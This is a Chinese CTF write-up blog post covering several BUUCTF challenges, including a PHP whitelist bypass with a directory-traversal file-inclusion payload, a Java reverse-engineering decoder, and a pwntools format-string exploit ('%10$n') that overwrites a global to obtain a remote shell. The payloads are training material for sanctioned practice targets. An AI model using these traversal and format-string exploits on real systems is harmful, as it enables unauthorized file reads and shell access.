寒假2.7

题解

web:[HCTF 2018]WarmUp

打开是张表情包

看一下源代码

访问source.php,得到完整代码

代码审计

 <?phphighlight_file(__FILE__);class emmm{public static function checkFile(&$page){$whitelist = ["source"=>"source.php","hint"=>"hint.php"];  //两个白名单文件source.php和hint.phpif (! isset($page) || !is_string($page)) {echo "you can't see it";return false;}if (in_array($page, $whitelist)) {return true;}   //如果字符在白名单内就正常回显,不在白名单内就回显“you can't see it”$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}   //截取$page中?之前的部分,并检查是否在白名单中,也就是说只要?前的内容在白名单里即可$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}   //URL解码,防止通过URL编码绕过检查echo "you can't see it";return false;}}if (! empty($_REQUEST['file'])   //以REQUEST方式接收file传递过来的值,由is_string、emmm::checkFile处理之后交给include去处理&& is_string($_REQUEST['file'])   //判断file是不是字符串&& emmm::checkFile($_REQUEST['file'])) {include $_REQUEST['file'];  //有include函数,大概率是一个文件包含漏洞exit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";}  
?>   //如果file参数存在且为字符串,并且通过了checkFile函数的检查,则包含该文件,否则就输出表情包

访问一下hint.php看看

 用文件包含的形式访问一下,失败

因为我们当前的source.php一般是在html目录下,往上是www,var,然后到根目录,flag一般就放在根目录下面,这里还有一个hint.php?/或者source.php?/,因此需要返回四层才能到根目录

一般都是/var/www/html/xx.php,文件包含加目录穿越即可

payload:

source.php?file=hint.php?/../../../../ffffllllaaaagggg

misc:BUUCTF-间谍启示录

下载附件,是一个.iso文件,用VMware看一下

看了看文档说明,虽然没有flag但是也算一个提示

这样不好看,foremost分离一下

看了一下,只有rar里的压缩包解压后有内容

运行flag.exe文件,没啥用,想起题目说的被隐藏了,右键选择属性开启隐藏再关闭即可得到机密文件.txt

打开就是flag

crypto:BUUCTF-old-fashion

下载附件,看不懂,直接用quipquip爆破

flag{n1_2hen-d3_hu1-mi-ma_a}

reverse:BUUCTF-Java逆向解密

下载附件,是一个.class文件,用jdkx-gui打开

 代码解释

package defpackage;import java.util.ArrayList;
import java.util.Scanner;/* 从文件 Reverse.class 加载 */
public class Reverse {public static void main(String[] args) {Scanner s = new Scanner(System.in); // 创建一个 Scanner 对象用于读取控制台输入System.out.println("Please input the flag :"); // 提示用户输入String str = s.next(); // 读取用户输入的字符串System.out.println("Your input is :"); // 输出提示信息System.out.println(str); // 显示用户输入的字符串char[] stringArr = str.toCharArray(); // 将字符串转换为字符数组Encrypt(stringArr); // 调用 Encrypt 方法对字符数组进行加密处理}public static void Encrypt(char[] arr) {ArrayList<Integer> Resultlist = new ArrayList<>(); // 创建一个整数列表来存储加密结果for (char c : arr) { // 遍历字符数组int result = (c + '@') ^ 32; // 使用一个简单的公式进行加密//定义的c变量是字符+@,其实就是ascii码相加的数和32进行异或加密Resultlist.add(Integer.valueOf(result)); // 将加密后的结果添加到列表中}int[] KEY = {180, 136, 137, 147, 191, 137, 147, 191, 148, 136, 133, 191, 134, 140, 129, 135, 191, 65}; // 定义一个密钥数组ArrayList<Integer> KEYList = new ArrayList<>(); // 创建一个整数列表来存储密钥值for (int i : KEY) { // 遍历密钥数组KEYList.add(Integer.valueOf(i)); // 将密钥值添加到列表中}System.out.println("Result:"); // 输出提示信息if (Resultlist.equals(KEYList)) { // 比较加密结果和密钥列表是否相同System.out.println("Congratulations!");} else {System.err.println("Error!");}}
}

由上,此题进行的处理大概是先将字符 c 的 ASCII 码值加上字符 @ 的 ASCII 码值(64),然后将结果与 32 进行按位异或运算,存储最终结果

所以我们的脚本就要逆过来,通过减去 @ 的 ASCII 码值并进行按位异或运算,还原出原始字符

python脚本:

strs = [180, 136, 137, 147, 191, 137, 147, 191,148, 136, 133, 191, 134, 140, 129, 135, 191, 65]flag = ""
for i in range(0,len(strs)):flag += chr(strs[i] - ord('@') ^ 0x20)
print("flag{"+flag+"}")

运行即可得到flag

pwn: [第五空间2019 决赛]PWN5

下载附件,exeinfope打开,32位无壳

 ida32打开,查看main函数

代码解释(16~32行)

  fd = open("/dev/urandom", 0);  //打开了一个特殊的设备文件/dev/urandom,该文件提供了高质量的随机数。open函数的第二个参数是模式,通常应该使用O_RDONLY来表示只读模式,但这里直接使用了数字0,这在大多数系统上等同于O_RDONLYread(fd, &dword_804C044, 4u);  //从/dev/urandom读取4个字节的数据到变量dword_804C044中。这个变量似乎是一个全局变量,其地址是硬编码的(例如,在ELF文件中,地址可能是一个固定的地址)printf("your name:");  //输入用户名read(0, buf, 0x63u);  //从标准输入(文件描述符0)读取最多99个字节(0x63是99的十六进制表示)到缓冲区buf中。这里没有检查read的返回值,也没有检查缓冲区溢出的可能性,这是一个潜在的安全风险printf("Hello,");printf(buf);  //输出用户输入的名字。由于之前没有对buf进行任何处理,这里存在一个格式化字符串漏洞,攻击者可以构造输入来利用这个漏洞printf("your passwd:");  //输入密码read(0, nptr, 0xFu);  //从标准输入读取最多15个字节(0xF是15的十六进制表示)到缓冲区nptr中。这里同样没有检查read的返回值,也没有检查缓冲区溢出的可能性if ( atoi(nptr) == dword_804C044 )  //使用atoi函数将nptr指向的字符串转换成整数,并与之前从/dev/urandom读取的随机数进行比较。(因此我们构建攻击载荷的地址即为dword_804C044的地址=0x804C044){puts("ok!!");system("/bin/sh");  //如果输入的整数与随机数相等,则输出"ok!!"并执行/bin/sh,给予攻击者一个shell}else{puts("fail");}result = 0;if ( __readgsdword(0x14u) != v6 )sub_80493D0();return result;
}

 由分析可知,该题存在格式化字符串漏洞,所以需要输入AAA来确定偏移量

AAA,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x

偏移量为10

payload:

payload = p32(0x804C044) + b'%10$n'

其中,b'%10$n'是一个格式化字符串

%n表示将前面已经输出的字符数写入指定地址

10$表示将字符数写入第10个参数指向的地址

%10$n的作用就是将输出的字符数写入0x804c044

exp:

from pwn import* 
io = remote('node5.buuoj.cn',28237)#远程连接服务器端口
io.recvuntil(':')#等待用户输入名字,确保脚本在正确的时刻发送或接收数据
payload = p32(0x804C044)+ b'%10$n'
io.sendline(payload)#发送payload到远程服务器,由于之前调用了recvuntil(':'),这个payload将作为用户的名字发送
io.recvuntil(':')#再次接收数据,直到遇到':',这次是为了同步到密码提示
io.sendline('4')#发送字符串'4'作为密码。这是因为在格式化字符串漏洞利用中,我们已经将dword_804C044的值覆盖为了4(或者至少我们希望是这样),所以输入'4'应该会使atoi(nptr) == dword_804C044的条件成立
io.interactive()#将脚本切换到交互模式,允许用户与远程服务器进行交互。如果之前的利用成功,这将提供一个shell

知识点

1.mb_strpos()函数

 定义:

mb_strpos(string $haystack, string $needle, int $offset = 0, string $encoding = null): int|false

$haystack-->要搜索的字符串

$needle-->要查找的子字符串

$offset-->指定开始搜索的位置,默认为0

$encoding-->指定字符编码。若未指定,则一般是UTF-8

返回值:

如果找到子字符串,返回子字符串在主字符串中首次出现的位置(从0开始计数)

如果没找到,返回false

使用实例:

1.基本用法

2。指定偏移量:从位置5开始搜索,子字符串“世界”首次出现的位置是6

对比:

3.未找到字符串:返回false

4.指定字符编码:在UTF-8编码的字符串“hello world”中,ord首次出现的位置是6

 注意:mb_strpos使用时需区分大小写,若要不区分的话,可以使用mb_stripos

实际应用场景:

1.检查子字符串是否存在

2.截取子字符串

 3.检查文件扩展名

4.提取URL中的路径

2.recvuntil()函数

概念:

作用:

用于从远程服务器接收数据,直到指定的字符串(在今天的pwn题中是':')被接收到为止。这通常用于同步,确保脚本在正确的时刻发送或接收数据。

定义:

注意,三个参数里只有delimiter是必须有的

recvuntil(delimiter, timeout=default, drop=False)

delimiter:指定的分隔符,函数会一直接收数据,直到遇到这个分隔符

timeout:超时时间(秒为单位),如果在指定时间内没有接收到分隔符,函数会抛出异常

drop:True-->返回数据不包含分隔符,False-->返回数据包含分隔符

返回值:返回从目标程序接收到的数据(包括分隔符,除非 drop=True

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/69373.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

python康威生命游戏的图形化界面实现

康威生命游戏&#xff08;Conway’s Game of Life&#xff09;是由英国数学家约翰何顿康威&#xff08;John Horton Conway&#xff09;在1970年发明的一款零玩家的细胞自动机模拟游戏。尽管它的名字中有“游戏”&#xff0c;但实际上它并不需要玩家参与操作&#xff0c;而是通…

【数据结构】链表应用-链表重新排序

重新排序 反转链表预期实现思路解题过程code力扣代码核心代码完整代码 总结 删除链表中间节点代码解惑 链表重新排序题目描述解题思路解题过程复杂度代码力扣代码完整代码 反转链表 预期实现 思路 你选用何种方法解题&#xff1f; 我选用了迭代法来反转链表。这是一种经典且高…

pytest-xdist 进行多进程并发测试!

在软件开发过程中&#xff0c;测试是确保代码质量和可靠性的关键步骤。随着项目规模的扩大和复杂性的增加&#xff0c;测试用例的执行效率变得尤为重要。为了加速测试过程&#xff0c;特别是对于一些可以并行执行的测试用 例&#xff0c;pytest-xdist 提供了一种强大的工具&…

mysql8安装时提示-缺少Microsoft Visual C++ 2019 x64 redistributable

MySQL8.0安装包mysql-8.0.1-winx64进行安装&#xff0c;提示&#xff1a;This application requires Visual Studio 2019 x64Redistributable, Please install the Redistributable then runthis installer again。出现这个错误是因为我们电脑缺少Microsoft Visual C 这个程序&…

【MySQL】深度理解事务的隔离性:全面讲解事务的四种隔离级别

**前言&#xff1a;**上节内容我们主要说了如果没有设置保存点&#xff0c; 也可以回滚&#xff0c;但是只能回滚到事务的开始。直接使用rollback的前提是事务还没有提交。并且如果一个事务被提交了&#xff0c;就不可以回退。同时我们也可以使用savepoint设置回滚点。 可以自己…

项目实战 —— HTTP服务器设计与实现

目录 一&#xff0c;项目介绍 二&#xff0c;背景知识补充 2.1 http特点 2.2 URI&#xff0c;URL&#xff0c;URN 2.3 http请求方法 三&#xff0c;前置功能实现 3.1 日志编写 3.2 封装相关套接字 3.3 http请求结构设计 3.4 http响应结构设计 3.5 http服务器主体逻辑…

GitHub Copilot:智能助手觉醒

GitHub Copilot: The agent awakens - The GitHub Blog github copilot 官方文档刚刚宣布支持 agent 模式&#xff01; 这一模式和之前的 chat 方式不同&#xff0c;类似于 cursor 可以根据需求直接运行、调试和修改代码 这一模式在 preview 版本可以使用&#xff0c;并且需…

网络安全威胁框架与入侵分析模型概述

引言 “网络安全攻防的本质是人与人之间的对抗&#xff0c;每一次入侵背后都有一个实体&#xff08;个人或组织&#xff09;”。这一经典观点概括了网络攻防的深层本质。无论是APT&#xff08;高级持续性威胁&#xff09;攻击、零日漏洞利用&#xff0c;还是简单的钓鱼攻击&am…

深入浅出谈VR(虚拟现实、VR镜头)

1、VR是什么鬼&#xff1f; 近两年VR这次词火遍网上网下&#xff0c;到底什么是VR&#xff1f;VR是“Virtual Reality”&#xff0c;中文名字是虚拟现实&#xff0c;是指采用计算机技术为核心的现代高科技手段生成一种虚拟环境&#xff0c;用户借助特殊的输入/输出设备&#x…

postman免登录版本,实测可用(解决一直卡在登录界面无法进入的问题)

一、背景 2025今年开工后&#xff0c;打开postman&#xff0c;一直提示需要登录&#xff0c;但是一直卡在登录界面&#xff0c;好几个人的postman都是这样的情况&#xff0c;不知道是什么原因。 折腾几小时无果&#xff0c;网上下载了各种版本都试了&#xff0c;最新的版本也…

Unity中Spine骨骼动画完全指南:从API详解到避坑实战

Unity中Spine骨骼动画完全指南&#xff1a;从API详解到避坑实战 一、为什么要选择Spine&#xff1f; Spine作为专业的2D骨骼动画工具&#xff0c;相比传统帧动画可节省90%资源量。在Unity中的典型应用场景包括&#xff1a; 角色换装系统&#xff08;通过插槽替换部件&#xf…

HTTP异步Client源码解析

我们知道Netty作为高性能通信框架&#xff0c;优点在于内部封装了管道的连接通信等操作&#xff0c;用户只需要调用封装好的接口&#xff0c;便可以很便捷的进行高并发通信。类似&#xff0c;在Http请求时&#xff0c;我们通过调用HttpClient&#xff0c;内部使用java NIO技术&…

Golang:Go 1.23 版本新特性介绍

流行的编程语言Go已经发布了1.23版本&#xff0c;带来了许多改进、优化和新特性。在Go 1.22发布六个月后&#xff0c;这次更新增强了工具链、运行时和库&#xff0c;同时保持了向后兼容性。 Go 1.23 的新增特性主要包括语言特性、工具链改进、标准库更新等方面&#xff0c;以下…

无界构建微前端?NO!NO!NO!多系统融合思路!

文章目录 微前端理解1、微前端概念2、微前端特性3、微前端方案a、iframeb、qiankun --> 使用比较复杂 --> 自己写对vite的插件c、micro-app --> 京东开发 --> 对vite支持更拉跨d、EMP 方案--> 必须使用 webpack5 --> 很多人感觉不是微前端 --> 去中心化方…

SQL Server 数据库迁移到 MySQL 的完整指南

文章目录 引言一、迁移前的准备工作1.1 确定迁移范围1.2 评估兼容性1.3 备份数据 二、迁移工具的选择2.1 使用 MySQL Workbench2.2 使用第三方工具2.3 手动迁移 三、迁移步骤3.1 导出 SQL Server 数据库结构3.2 转换数据类型和语法3.3 导入 MySQL 数据库3.4 迁移数据3.5 迁移存…

RabbitMQ深度探索:死信队列

死信队列产生背景&#xff1a; RabbitMQ 死信队列俗称 备胎队列&#xff1a;消息中间件因为某种原因拒收该消息后&#xff0c;可以转移到私信队列中存放&#xff0c;死信队列也可以有交换机和路由 key 等 生产死信队列的原因&#xff1a; 消息投递到 MQ 存放&#xff0c;消息已…

蓝桥算法基础2

位运算 按位与&#xff0c;x&1x%2.因为1不论和几位二进制与&#xff0c;都只有最后一位为1&#xff0c;前面都是0&#xff0c;那么&前面也都为0&#xff0c;只有最后一位&#xff0c;若为1那么2的0次方为1&#xff0c;该数一定为奇数&#xff0c;与取余结果同&#xff…

B站自研的第二代视频连麦系统(上)

导读 本系列文章将从客户端、服务器以及音视频编码优化三个层面&#xff0c;介绍如何基于WebRTC构建视频连麦系统。希望通过这一系列的讲解&#xff0c;帮助开发者更全面地了解 WebRTC 的核心技术与实践应用。 背景 在文章《B站在实时音视频技术领域的探索与实践》中&#xff…

redis之AOF持久化过程

流程图 在redis.conf文件中配置appendonly为yes则开启aof持久化机制 #开启aof持久化&#xff0c;默认关闭为no appendonly no也可以在命令行开启 aof刷盘策略 #每个写操作都会同步刷盘。 appendfsync always #执行命令后先放入aof缓冲区&#xff0c;每秒钟将缓冲区数据刷盘…

力扣.623. 在二叉树中增加一行(链式结构的插入操作)

Problem: 623. 在二叉树中增加一行 文章目录 题目描述思路复杂度Code 题目描述 思路 1.首先要说明&#xff0c;对于数据结构无非两大类结构&#xff1a;顺序结构、链式结构&#xff0c;而二叉树实质上就可以等效看作为一个二叉链表&#xff0c;而对于链表插入一个节点的操作是应…